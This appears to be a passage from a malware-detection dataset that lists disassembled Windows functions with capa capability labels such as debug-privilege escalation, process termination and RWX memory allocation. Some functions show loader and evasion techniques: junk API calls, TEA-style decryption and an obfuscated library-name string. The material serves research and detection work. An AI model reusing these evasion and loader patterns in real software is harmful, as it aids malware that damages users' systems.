joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e50
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x42f230]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404ed1
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
push 0x42537c
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 2
push eax
push 0
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x18]
neg eax
sbb esi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 1]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041156c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0041156c
mov esp, ebp
pop ebp
ret
Function at 0x404fa0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423f34
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x42f230]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x220], 0
mov dword [ebp - 4], 1
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.00412020
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00402310
mov eax, dword [ebp + 0xc]
mov ecx, str.beta
mov dword [ebp - 0x220], 1
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405068
test dx, dx
je 0x405064
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405068
add eax, 4
add ecx, 4
test dx, dx
jne 0x405042
xor eax, eax
jmp 0x40506d
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
je 0x405099
push str.DingTalkBeta
lea eax, [ebp - 0x21c]
push esi
push eax
call fcn.00403880
add esp, 0xc
mov byte [ebp - 4], 2
mov ecx, esi
push eax
call fcn.00403540
jmp 0x4050ec
lea eax, [ebp + 0xc]
push 0x42545c
push eax
call fcn.00403760
add esp, 8
test al, al
lea eax, [ebp - 0x21c]
je 0x4050d1
push str.DingTalkRC
push esi
push eax
call fcn.00403880
add esp, 0xc
mov byte [ebp - 4], 4
mov ecx, esi
push eax
call fcn.00403540
jmp 0x4050ec
push str.DingTalk
push esi
push eax
call fcn.00403880
add esp, 0xc
mov byte [ebp - 4], 6
mov ecx, esi
push eax
call fcn.00403540
mov byte [ebp - 4], 1
or edi, 0xffffffff
mov edx, dword [ebp - 0x21c]
mov eax, edi
add edx, 0xfffffff0
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x405112
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 0xc]
add ebx, 0xfffffff0
lea eax, [ebx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x405133
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041156c
mov esp, ebp
pop ebp
ret
Function at 0x405160
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423f98
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x42f230]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov esi, dword [ebp + 8]
push 0x206
mov dword [ebp - 0x220], 0
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
mov dword [ebp - 0x224], esi
call fcn.00412020
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00402310
mov dword [ebp - 4], 0
lea eax, [ebp - 0x21c]
push str.utForpc
push esi
push eax
mov dword [ebp - 0x220], 1
call fcn.00403880
add esp, 0xc
mov dword [ebp - 4], 1
mov ecx, esi
push eax
call fcn.00403540
mov dword [ebp - 4], 0
or ecx, 0xffffffff
mov edi, dword [ebp - 0x21c]
add edi, 0xfffffff0
lea eax, [edi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x405244
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041156c
mov esp, ebp
pop ebp
ret
Function at 0x405470
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423f34
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x42f230]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x220], 0
mov dword [ebp - 4], 1
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.00412020
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00402310
mov eax, dword [ebp + 0xc]
mov ecx, str.beta
mov dword [ebp - 0x220], 1
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405538
test dx, dx
je 0x405534
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405538
add eax, 4
add ecx, 4
test dx, dx
jne 0x405512
xor eax, eax
jmp 0x40553d
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
je 0x405569
push str.DingTalkBeta
lea eax, [ebp - 0x21c]
push esi
push eax
call fcn.00403880
add esp, 0xc
mov byte [ebp - 4], 2
mov ecx, esi
push eax
call fcn.00403540
jmp 0x4055bc
lea eax, [ebp + 0xc]
push 0x42545c
push eax
call fcn.00403760
add esp, 8
test al, al
lea eax, [ebp - 0x21c]
je 0x4055a1
push str.DingTalkRC
push esi
push eax
call fcn.00403880
add esp, 0xc
mov byte [ebp - 4], 4
mov ecx, esi
push eax
call fcn.00403540
jmp 0x4055bc
push str.DingTalk
push esi
push eax
call fcn.00403880
add esp, 0xc
mov byte [ebp - 4], 6
mov ecx, esi
push eax
call fcn.00403540
mov byte [ebp - 4], 1
or edi, 0xffffffff
mov edx, dword [ebp - 0x21c]
mov eax, edi
add edx, 0xfffffff0
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4055e2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 0xc]
add ebx, 0xfffffff0
lea eax, [ebx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x405603
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041156c
mov esp, ebp
pop ebp
ret

Function at 0x405cf0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405d05
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405d44
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x405d40
lea ebx, [ebx]
cmp esi, edx
jae 0x405d44
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x405d30
cmp esi, edx
jb 0x405d49
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x409690
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4244b0
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
push esi
mov eax, dword [0x42f230]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
call fcn.00405630
mov byte [ebp - 4], 1
mov esi, esp
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 0x1c], esi
call fcn.004045c0
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [ebp - 4], 3
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 1
call fcn.00405270
add esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10]
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.004043b0
mov byte [ebp - 4], 1
or esi, 0xffffffff
mov edx, dword [ebp - 0x14]
mov eax, esi
add edx, 0xfffffff0
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x40972f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x3c
lea eax, [ebp - 0x58]
push 0
push eax
call fcn.00412020
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x3c
mov dword [ebp - 0x50], 0
push eax
mov dword [ebp - 0x4c], str.open
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x54], 0x40
mov dword [ebp - 0x44], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov byte [ebp - 4], 0
mov ecx, esi
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x409799
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x4097ba
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40adc0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4245f9
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x42f230]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], esi
mov dword [ebp - 0x240], edi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
push 0
push 0xf
mov dword [ebp - 0x244], 1
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [ebp - 0x23c], 0x22c
lea eax, [ebp - 0x23c]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x40af09
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.00410fc9
add esp, 8
test eax, eax
jne 0x40aef4
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x234]
cmp ecx, eax
jae 0x40aed3
mov ecx, dword [esi]
lea edx, [ebp - 0x234]
cmp ecx, edx
ja 0x40aed3
mov edi, edx
sub edi, ecx
sar edi, 2
cmp eax, dword [esi + 8]
jne 0x40aea6
push 1
mov ecx, esi
call fcn.00408930
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 4], 1
test ecx, ecx
je 0x40aec7
mov eax, dword [eax + edi*4]
mov dword [ecx], eax
mov byte [ebp - 4], 0
mov edi, dword [ebp - 0x240]
jmp 0x40aef0
cmp eax, dword [esi + 8]
jne 0x40aee1
push 1
mov ecx, esi
call fcn.00408930
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x40aef0
mov eax, dword [ebp - 0x234]
mov dword [ecx], eax
add dword [esi + 4], 4
lea eax, [ebp - 0x23c]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40ae60
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041156c
mov esp, ebp
pop ebp
ret
Function at 0x40b0d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4246e8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x42f230]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.0040adc0
add esp, 8
mov dword [ebp - 4], 0
xor edi, edi
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sub eax, ecx
sar eax, 2
test eax, eax
je 0x40b15c
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ecx + edi*4]
push 0
push 1
call ebx
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
inc edi
mov ecx, dword [ebp - 0x18]
sub eax, ecx
sar eax, 2
cmp edi, eax
jb 0x40b125
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40b188
push eax
call fcn.00410420
add esp, 4
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f0a5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f230]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00414467
mov dword [ebp - 0x14], eax
cmp dword [0x431a24], esi
jne 0x41f198
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41f125
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41f278
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41f278
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41f278
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x431a24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x431a28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x431a2c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x431a34], eax
test eax, eax
je 0x41f195
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x431a30], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41f1bd
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41f1b0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41f1d2
push 4
pop eax
jmp 0x41f27a
cmp dword [ebp - 0x14], esi
je 0x41f1d2
push dword [0x431a24]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41f1b7
mov eax, dword [0x431a30]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41f230
cmp dword [0x431a34], edi
je 0x41f230
push eax
call ebx
push dword [0x431a34]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41f230
test eax, eax
je 0x41f230
call ecx
test eax, eax
je 0x41f225
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41f225
test byte [ebp - 8], 1
jne 0x41f230
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41f260
mov eax, dword [0x431a28]
cmp eax, edi
je 0x41f25d
push eax
call ebx
test eax, eax
je 0x41f25d
call eax
mov esi, eax
test esi, esi
je 0x41f25d
mov eax, dword [0x431a2c]
cmp eax, edi
je 0x41f25d
push eax
call ebx
test eax, eax
je 0x41f25d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x431a24]
call ebx
test eax, eax
je 0x41f278
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41f27a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041156c
mov esp, ebp
pop ebp
ret
Function at 0x408e80
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x4ba0e4], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408ed2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x4ba0e4], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408f34
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408e30
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x4ba0e4], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x49d544], 0xffcf03fc
jne 0x408f9d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x49d544], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x49d544], eax
sub esi, dword [esp + 0x10]
mov dword [0x49d548], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x49d54c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00407ff0
sub dword [esp + 0x18], 1
jne 0x408f30
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x409030
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xea4
cmp dword [0x4ba0e4], 0x516
jne 0x409088
push 0
lea eax, [esp + 0x6a8]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x2b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xeac]
shr eax, 3
test eax, eax
jbe 0x4091c2
mov ecx, dword [esp + 0xea8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x4ba0e4], 0x29
jne 0x4090fa
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x4ba0e4], 0xe1b
jne 0x40911e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4ba0e4], 0x1c
jne 0x40916f
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call edi
lea eax, [esp + 0xe0]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xec0]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408e80
cmp dword [0x4ba0e4], 0x4fa
jne 0x4091ae
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x4090c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xea4
ret 0xc
Function at 0x4091d0
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x4ba0e4], 0x37
jne 0x4092a4
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x4ba0e8]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x49d540]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x492e88
mov byte [0x492e89], al
mov byte [0x492e8a], 0x72
mov byte [0x492e90], 0x2e
mov byte [0x492e91], 0x64
mov byte [0x492e92], cl
mov byte [0x492e94], 0
mov byte [0x492e8c], al
mov byte [0x492e8d], cl
mov byte [0x492e8e], 0x33
mov byte [0x492e8f], 0x32
mov byte [0x492e93], al
mov byte [0x492e8b], 0x6e
mov byte [0x492e88], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x4ba0e4]
mov edx, dword [0x49d540]
mov dword [0x4b977c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x492e96], 0
mov byte [0x492e8f], 0x50
mov byte [0x492e8d], 0x61
mov byte [0x492e88], 0x60
mov byte [0x492e90], 0x7c
mov byte [0x492e91], 0x6f
mov byte [0x492e95], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a4f0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a513
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a51a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a531
mov edx, dword [ebp - 4]
push edx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a533
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a790
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a7af
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a7b6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a7cd
mov ecx, dword [ebp - 4]
push ecx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a7cf
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414d00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x492044]
jne 0x414d0a
repz ret
jmp fcn.0041ade0